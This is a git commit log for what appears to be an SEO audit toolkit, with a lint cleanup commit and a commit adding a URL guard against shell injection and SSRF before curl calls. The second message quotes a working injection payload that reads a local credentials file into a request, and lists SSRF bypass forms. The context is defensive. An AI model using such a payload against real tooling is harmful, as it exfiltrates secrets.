Commit Graph
2 Commits
Author SHA1 Message Date
bchanot 381ed9fa5d chore(code-clean): lint directives, guarded cd, hook regex split, helper extractions
A1 drop unused `import gzip`; B1/B2 file-level shellcheck directives
placed before `set -u`; B3 `cd "$REPO" || exit 1`; B4 hook regex split
into `pattern+=` lines (sha256 of $pattern unchanged); B11
`_build_parser`/`_dispatch` pulled out of google_seo `_cli`; B20
detect-plugins header names update-all.sh; C2 prune-memory deterministic
suite wired into SUITES (literal path); C3 `_refuse_outside_allowlist`
moved up in deploy-commit.

No behavior change except B3 (a failed cd now exits 1) and C2 (one more
suite). B5/B7/B9/B18/B19 land in the refactor commit.
2026-10-12 22:51:28 +02:00
Bastien Chanot 7d6aa09faf feat(lib): H1 — url-guard, shell-injection + local-target refusal before curl
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.

The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.

Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.

Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).

NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.

Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.

Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.

Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
2026-07-17 09:25:34 +02:00